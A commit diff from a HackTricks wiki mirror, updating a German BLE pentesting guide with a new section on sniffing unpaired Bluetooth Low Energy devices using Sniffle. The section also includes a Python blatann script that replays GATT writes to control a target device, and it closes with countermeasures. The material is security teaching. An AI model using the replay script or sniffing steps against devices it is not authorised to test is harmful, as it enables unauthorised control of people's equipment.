maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene

Browse Source
This commit is contained in:
Translator 2025-08-28 14:35:39 +00:00
parent 9792c72b96
commit 084eec281f
1 changed files with 128 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

135
src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md
View File

@ -4,21 +4,21 @@
## Einführung
Seit der Bluetooth 4.0-Spezifikation verwendet BLE nur 40 Kanäle, die den Bereich von 2400 bis 2483,5 MHz abdecken. Im Gegensatz dazu verwendet traditionelles Bluetooth 79 Kanäle in demselben Bereich.
Seit der Bluetooth 4.0-Spezifikation verwendet BLE nur 40 Kanäle und deckt den Bereich von 2400 bis 2483,5 MHz ab. Im Gegensatz dazu verwendet herkömmliches Bluetooth in demselben Bereich 79 Kanäle.
BLE-Geräte kommunizieren, indem sie **Werbepakete** (**Beacons**) senden, diese Pakete übertragen die Existenz des BLE-Geräts an andere nahegelegene Geräte. Diese Beacons **senden manchmal auch Daten**.
BLE-Geräte kommunizieren, indem sie **advertising packets** (**beacons**) senden; diese Pakete übertragen die Existenz des BLE-Geräts an andere nahe Geräte. Diese Beacons senden manchmal auch **Daten**.
Das hörende Gerät, auch zentrales Gerät genannt, kann auf ein Werbepaket mit einer **SCAN-Anfrage** antworten, die speziell an das werbende Gerät gesendet wird. Die **Antwort** auf diesen Scan verwendet die gleiche Struktur wie das **Werbepaket** mit zusätzlichen Informationen, die nicht in die ursprüngliche Werbeanfrage passten, wie den vollständigen Gerätenamen.
Das abhörende Gerät, auch als central device bezeichnet, kann auf ein advertising packet mit einer speziell an das werbende Gerät gesendeten **SCAN request** antworten. Die **response** auf diesen Scan verwendet die gleiche Struktur wie das **advertising**-Packet, enthält jedoch zusätzliche Informationen, die nicht in die ursprüngliche advertising-Anfrage passten, etwa den vollständigen Gerätenamen.
![](<../../images/image (152).png>)
Das Präambel-Byte synchronisiert die Frequenz, während die vier Byte lange Zugangsadresse ein **Verbindungsidentifier** ist, der in Szenarien verwendet wird, in denen mehrere Geräte versuchen, Verbindungen auf denselben Kanälen herzustellen. Als Nächstes enthält die Protokolldateneinheit (**PDU**) die **Werbedaten**. Es gibt mehrere Arten von PDU; die am häufigsten verwendeten sind ADV_NONCONN_IND und ADV_IND. Geräte verwenden den PDU-Typ **ADV_NONCONN_IND**, wenn sie **keine Verbindungen akzeptieren**, und übertragen Daten nur im Werbepaket. Geräte verwenden **ADV_IND**, wenn sie **Verbindungen zulassen** und **aufhören, Werbepakete** zu senden, sobald eine **Verbindung** **hergestellt** wurde.
Das Preamble-Byte synchronisiert die Frequenz, während die vierbyteige Access Address ein **connection identifier** ist, der in Szenarien verwendet wird, in denen mehrere Geräte versuchen, auf denselben Kanälen Verbindungen herzustellen. Danach enthält die Protocol Data Unit (**PDU**) die **advertising data**. Es gibt verschiedene Typen von PDU; die am häufigsten verwendeten sind ADV_NONCONN_IND und ADV_IND. Geräte verwenden den **ADV_NONCONN_IND**-PDU-Typ, wenn sie **keine Verbindungen akzeptieren** und Daten nur im advertising packet übertragen. Geräte verwenden **ADV_IND**, wenn sie **Verbindungen zulassen** und das Senden von advertising-Paketen einstellen, sobald eine **connection** **hergestellt** wurde.
### GATT
Das **Generic Attribute Profile** (GATT) definiert, wie das **Gerät Daten formatieren und übertragen** sollte. Wenn Sie die Angriffsfläche eines BLE-Geräts analysieren, konzentrieren Sie oft Ihre Aufmerksamkeit auf das GATT (oder GATTs), da es bestimmt, wie **Gerätefunktionen ausgelöst** werden und wie Daten gespeichert, gruppiert und modifiziert werden. Das GATT listet die Merkmale, Deskriptoren und Dienste eines Geräts in einer Tabelle als 16- oder 32-Bit-Werte auf. Ein **Merkmal** ist ein **Daten**wert, der zwischen dem zentralen Gerät und dem Peripheriegerät **gesendet** wird. Diese Merkmale können **Deskriptoren** haben, die **zusätzliche Informationen über sie bereitstellen**. **Merkmale** werden oft in **Diensten** **gruppiert**, wenn sie mit der Durchführung einer bestimmten Aktion zusammenhängen.
Das **Generic Attribute Profile** (GATT) definiert, wie das **Gerät Daten formatieren und übertragen** soll. Wenn du die Angriffsfläche eines BLE-Geräts analysierst, konzentrierst du dich oft auf das GATT (oder GATTs), weil darüber die **device functionality getriggert** wird und wie Daten gespeichert, gruppiert und modifiziert werden. Das GATT listet die Characteristics, Descriptors und Services eines Geräts in einer Tabelle als 16- oder 32-Bit-Werte auf. Eine **characteristic** ist ein **Datenwert**, der zwischen dem central device und dem peripheral **gesendet** wird. Diese Characteristics können **descriptors** haben, die **zusätzliche Informationen über sie bereitstellen**. **Characteristics** werden oft in **services** gruppiert, wenn sie sich auf die Ausführung einer bestimmten Aktion beziehen.
## Aufzählung
## Enumeration
```bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
@ -30,7 +30,7 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
```
### GATTool
**GATTool** ermöglicht es, eine **Verbindung** mit einem anderen Gerät herzustellen, die **Eigenschaften** dieses Geräts aufzulisten und seine Attribute zu lesen und zu schreiben.\
**GATTool** ermöglicht es, eine **Verbindung** zu einem anderen Gerät herzustellen, dessen **Eigenschaften** aufzulisten und dessen Attribute zu lesen und zu schreiben.\
GATTTool kann mit der Option `-I` eine interaktive Shell starten:
```bash
gatttool -i hci0 -I
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
## Sniffing und aktive Steuerung nicht gepaarter BLE-Geräte
Viele günstige BLE-Peripheriegeräte erzwingen kein Pairing/Bonding. Ohne Bonding wird die Link-Layer-Verschlüsselung nie aktiviert, sodass ATT/GATT-Verkehr im Klartext steht. Ein off-path sniffer kann der Verbindung folgen, GATT-Operationen dekodieren, um characteristic handles und Werte zu ermitteln, und jeder nahegelegene Host kann sich verbinden und diese writes wieder abspielen, um das Gerät zu steuern.
### Sniffing with Sniffle (CC26x2/CC1352)
Hardware: ein Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), neu geflasht mit der Sniffle-Firmware der NCC Group.
Installiere Sniffle und dessen Wireshark extcap unter Linux:
```bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
```
Sonoff mit Sniffle firmware flashen (stelle sicher, dass dein serielles Gerät übereinstimmt, z. B. /dev/ttyUSB0):
```bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
```
Erfassen Sie in Wireshark über das Sniffle extcap und wechseln Sie schnell zu zustandsändernden Schreibvorgängen, indem Sie filtern:
```text
_ws.col.info contains "Sent Write Command"
```
Das hebt ATT Write Commands vom Client hervor; handle und value bilden oft direkt Geräteaktionen ab (z. B. write 0x01 an eine buzzer/alert characteristic, 0x00 zum Stoppen).
Sniffle CLI schnelle Beispiele:
```bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
```
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin funktioniert ebenfalls. Auf kleinen/günstigen Nordic dongles überschreibt man typischerweise den USB bootloader, um die sniffer firmware zu laden. Daher behält man entweder einen dedizierten sniffer dongle oder benötigt einen J-Link/JTAG, um den bootloader später wiederherzustellen.
### Aktive Steuerung via GATT
Sobald du aus dem sniffed traffic einen writable characteristic handle und value identifiziert hast, verbinde dich als beliebiges central und sende denselben write:
- Mit Nordic nRF Connect for Desktop (BLE app):
- Wähle den nRF52/nRF52840 dongle, scan und connect to the target.
- Durchsuche die GATT database, finde die target characteristic (hat oft einen friendly name, z. B. Alert Level).
- Führe einen Write mit den sniffed bytes aus (z. B. 01 to trigger, 00 to stop).
- Automatisieren unter Windows mit einem Nordic dongle unter Verwendung von Python + blatann:
```python
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
```
### Betriebliche Hinweise und Gegenmaßnahmen
- Bevorzuge Sonoff+Sniffle unter Linux für robustes channel hopping und connection following. Halte einen Ersatz-Nordic sniffer als Backup bereit.
- Ohne pairing/bonding kann jeder nahe Angreifer writes beobachten und diese replayen/selbst craften, um eigene Daten an unauthenticated writable characteristics zu senden.
- Gegenmaßnahmen: require pairing/bonding und enforce encryption; characteristic permissions so setzen, dass authenticated writes erforderlich sind; unauthenticated writable characteristics minimieren; GATT ACLs mit Sniffle/nRF Connect validieren.
## References
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
{{#include ../../banners/hacktricks-training.md}}